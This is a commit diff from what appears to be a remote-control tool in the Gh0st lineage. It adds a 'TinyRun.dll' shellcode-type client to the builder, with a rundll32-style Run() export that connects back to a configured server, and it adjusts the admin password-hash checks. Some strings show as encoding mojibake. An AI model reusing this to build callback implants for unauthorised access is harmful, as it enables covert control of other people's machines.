Feature: Add TinyRun.dll to client building option

This commit is contained in:
yuanyuanxiang
2025-11-22 03:46:34 +08:00
parent a5f068b036
commit a7d44439bf
3 changed files with 25 additions and 14 deletions

View File

@@ -44,7 +44,7 @@ struct CONNECT_ADDRESS {
uint64_t parentHwnd; // 父进程窗口句柄
uint64_t superAdmin; // 管理员主控ID
char pwdHash[64]; // 密码哈希
} g_Server = { "Hello, World!", "127.0.0.1", "6543" };
} g_Server = { "Hello, World!", "127.0.0.1", "6543", 0, 0, __DATE__ };
#pragma pack(pop)
typedef struct PluginParam {
@@ -404,18 +404,22 @@ extern DLL_API DWORD WINAPI run(LPVOID param)
return 0;
}
extern DLL_API void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
assert(sizeof(struct CONNECT_ADDRESS) == 300);
PluginParam param = { 0 };
strcpy(param.IP, g_Server.szServerIP);
param.Port = atoi(g_Server.szPort);
param.User = g_Server.pwdHash;
DWORD result = run(&param);
Sleep(INFINITE);
}
#ifndef _WINDLL
int main()
{
assert(sizeof(struct CONNECT_ADDRESS) == 300);
PluginParam param = { 0 };
strcpy(param.IP, g_Server.szServerIP);
param.Port = atoi(g_Server.szPort);
param.User = g_Server.pwdHash;
DWORD result = run(&param);
Sleep(INFINITE);
return result;
Run(0, 0, 0, 0);
return 0;
}
#else

View File

@@ -570,7 +570,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash || m_superPass.empty()) {
if (GetPwdHash() != masterHash) {
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
}
SubMenu = m_MainMenu.GetSubMenu(2);
@@ -1391,10 +1391,10 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
Mprintf(">>> Timer is killed <<<\n");
KillTimer(nIDEvent);
std::string masterHash = GetMasterHash();
if (GetPwdHash() == masterHash) {
if (GetPwdHash() != masterHash)
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
if (GetPwdHash() == masterHash)
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
}
return;
}
PostMessageA(WM_PASSWORDCHECK);
@@ -1538,7 +1538,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash || m_superPass.empty()) {
if (GetPwdHash() != masterHash) {
Menu.DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND);
Menu.DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND);
}

View File

@@ -17,6 +17,7 @@ enum Index {
IndexTestRun_InjSC,
IndexGhost,
IndexServerDll,
IndexTinyRun,
OTHER_ITEM
};
@@ -196,6 +197,11 @@ void CBuildDlg::OnBnClickedOk()
typ = CLIENT_TYPE_DLL;
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
break;
case IndexTinyRun:
file = "TinyRun.dll";
typ = CLIENT_TYPE_SHELLCODE;
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
break;
case OTHER_ITEM: {
m_OtherItem.GetWindowTextA(file);
typ = -1;
@@ -235,7 +241,7 @@ void CBuildDlg::OnBnClickedOk()
return;
}
bool encrypt = m_strEncryptIP == _T("<EFBFBD><EFBFBD>");
if (encrypt && startup != Startup_InjSC)
if (encrypt && startup != Startup_InjSC && index != IndexTinyRun)
g_ConnectAddress.Encrypt();
try {
// <20><><EFBFBD>±<EFBFBD>ʶ
@@ -367,6 +373,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboExe.InsertString(IndexGhost, "ghost.exe");
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");
m_ComboExe.InsertString(IndexTinyRun, "TinyRun.dll");
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"));
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);